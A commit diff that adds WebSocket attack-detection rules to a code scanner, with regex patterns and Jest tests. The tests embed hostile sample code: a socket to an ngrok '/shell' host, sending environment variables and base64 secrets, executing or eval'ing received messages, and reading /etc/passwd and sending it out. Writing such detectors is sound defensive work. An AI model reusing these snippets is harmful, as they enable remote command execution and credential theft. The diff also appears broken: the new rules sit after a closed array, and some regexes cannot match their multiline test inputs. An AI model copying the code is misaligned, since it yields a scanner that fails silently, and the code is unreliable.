feat(scanner): add WebSocket malicious pattern detection

scanner/src/__tests__/websocket.test.ts

@@ -0,0 +1,90 @@
+/**
+ * Tests for WebSocket malicious pattern detection
+ * Issue #3: Scanner rule for malicious WebSocket handlers
+ */
+
+import { DANGEROUS_PATTERNS } from '../patterns';
+
+// Get WebSocket patterns
+const wsPatterns = DANGEROUS_PATTERNS.filter(p => p.category === 'websocket');
+
+describe('WebSocket Detection Rules', () => {
+
+  // Test 1: Suspicious endpoint detection
+  test('WS_SUSPICIOUS_ENDPOINT: detects WebSocket to ngrok', () => {
+    const code = `const ws = new WebSocket('wss://abc123.ngrok.io/shell');`;
+    const pattern = wsPatterns.find(p => p.id === 'WS_SUSPICIOUS_ENDPOINT');
+    expect(pattern?.pattern.test(code)).toBe(true);
+  });
+
+  test('WS_SUSPICIOUS_ENDPOINT: detects dynamic WebSocket URL', () => {
+    const code = `const ws = new WebSocket(config.wsUrl);`;
+    const pattern = wsPatterns.find(p => p.id === 'WS_SUSPICIOUS_ENDPOINT');
+    pattern!.pattern.lastIndex = 0;
+    expect(pattern?.pattern.test(code)).toBe(true);
+  });
+
+  // Test 2: Data exfiltration detection
+  test('WS_DATA_EXFIL: detects env exfiltration via WebSocket', () => {
+    const code = `ws.send(JSON.stringify(process.env));`;
+    const pattern = wsPatterns.find(p => p.id === 'WS_DATA_EXFIL');
+    expect(pattern?.pattern.test(code)).toBe(true);
+  });
+
+  test('WS_DATA_EXFIL: detects base64 encoded data send', () => {
+    const code = `ws.send(Buffer.from(secretData).toString('base64'));`;
+    const pattern = wsPatterns.find(p => p.id === 'WS_DATA_EXFIL');
+    pattern!.pattern.lastIndex = 0;
+    expect(pattern?.pattern.test(code)).toBe(true);
+  });
+
+  // Test 3: Reverse shell detection
+  test('WS_REVERSE_SHELL: detects exec in WebSocket handler', () => {
+    const code = `
+      ws.on('message', (cmd) => {
+        const result = execSync(cmd);
+        ws.send(result);
+      });
+    `;
+    const pattern = wsPatterns.find(p => p.id === 'WS_REVERSE_SHELL');
+    expect(pattern?.pattern.test(code)).toBe(true);
+  });
+
+  // Test 4: C2 communication detection
+  test('WS_C2_PATTERN: detects eval in WebSocket message handler', () => {
+    const code = `
+      socket.onmessage = (event) => {
+        eval(event.data);
+      };
+    `;
+    const pattern = wsPatterns.find(p => p.id === 'WS_C2_PATTERN');
+    expect(pattern?.pattern.test(code)).toBe(true);
+  });
+
+  // Test 5: Bidirectional exfiltration
+  test('WS_BIDIRECTIONAL_EXFIL: detects file read + send pattern', () => {
+    const code = `
+      const data = fs.readFileSync('/etc/passwd');
+      ws.send(data);
+    `;
+    const pattern = wsPatterns.find(p => p.id === 'WS_BIDIRECTIONAL_EXFIL');
+    expect(pattern?.pattern.test(code)).toBe(true);
+  });
+
+  // Negative tests - should NOT match legitimate code
+  test('should not flag legitimate WebSocket usage', () => {
+    const legitimateCode = `
+      const ws = new WebSocket('wss://api.example.com/stream');
+      ws.onmessage = (event) => {
+        console.log(event.data);
+        updateUI(JSON.parse(event.data));
+      };
+    `;
+
+    const criticalPatterns = wsPatterns.filter(p => p.severity === 'critical');
+    criticalPatterns.forEach(pattern => {
+      pattern.pattern.lastIndex = 0;
+      expect(pattern.pattern.test(legitimateCode)).toBe(false);
+    });
+  });
+});

scanner/src/patterns.ts

@@ -209,3 +209,45 @@ export const SAFE_DOMAINS = [
   'registry.npmjs.org',
   'pypi.org',
 ];
+
+  // === HIGH: WebSocket-based attacks (Issue #3) ===
+  {
+    id: 'WS_SUSPICIOUS_ENDPOINT',
+    name: 'WebSocket to Suspicious Endpoint',
+    description: 'WebSocket connection to suspicious or dynamic endpoints',
+    severity: 'high',
+    pattern: /new\s+WebSocket\s*\(\s*[^'"`\s]|new\s+WebSocket\s*\(\s*['"`](ws:\/\/|wss:\/\/)[^'"`]*(ngrok|pipedream|requestbin|webhook|\.onion|localhost:\d{4,5})/gi,
+    category: 'websocket'
+  },
+  {
+    id: 'WS_DATA_EXFIL',
+    name: 'WebSocket Data Exfiltration',
+    description: 'Sending sensitive data over WebSocket',
+    severity: 'high',
+    pattern: /\.send\s*\(\s*(JSON\.stringify\s*\(\s*process\.env|Buffer\.from|btoa\s*\(|\.toString\s*\(\s*['"`]base64['"`]\s*\))/gi,
+    category: 'websocket'
+  },
+  {
+    id: 'WS_REVERSE_SHELL',
+    name: 'WebSocket Reverse Shell',
+    description: 'Potential reverse shell via WebSocket',
+    severity: 'critical',
+    pattern: /WebSocket.*on\s*\(\s*['"`]message['"`].*\b(exec|spawn|execSync|child_process)\b|child_process.*WebSocket/gi,
+    category: 'websocket'
+  },
+  {
+    id: 'WS_C2_PATTERN',
+    name: 'WebSocket C2 Communication',
+    description: 'Command and control patterns over WebSocket',
+    severity: 'critical',
+    pattern: /WebSocket.*on\s*\(\s*['"`]message['"`].*\b(eval|Function)\s*\(|\.onmessage\s*=.*\b(eval|Function)\s*\(/gi,
+    category: 'websocket'
+  },
+  {
+    id: 'WS_BIDIRECTIONAL_EXFIL',
+    name: 'Bidirectional WebSocket Exfiltration',
+    description: 'Reading files/env and sending via WebSocket',
+    severity: 'high',
+    pattern: /(readFileSync|readFile|process\.env)[\s\S]{0,100}\.send\s*\(|\.send\s*\([\s\S]{0,100}(readFileSync|readFile|process\.env)/gi,
+    category: 'websocket'
+  },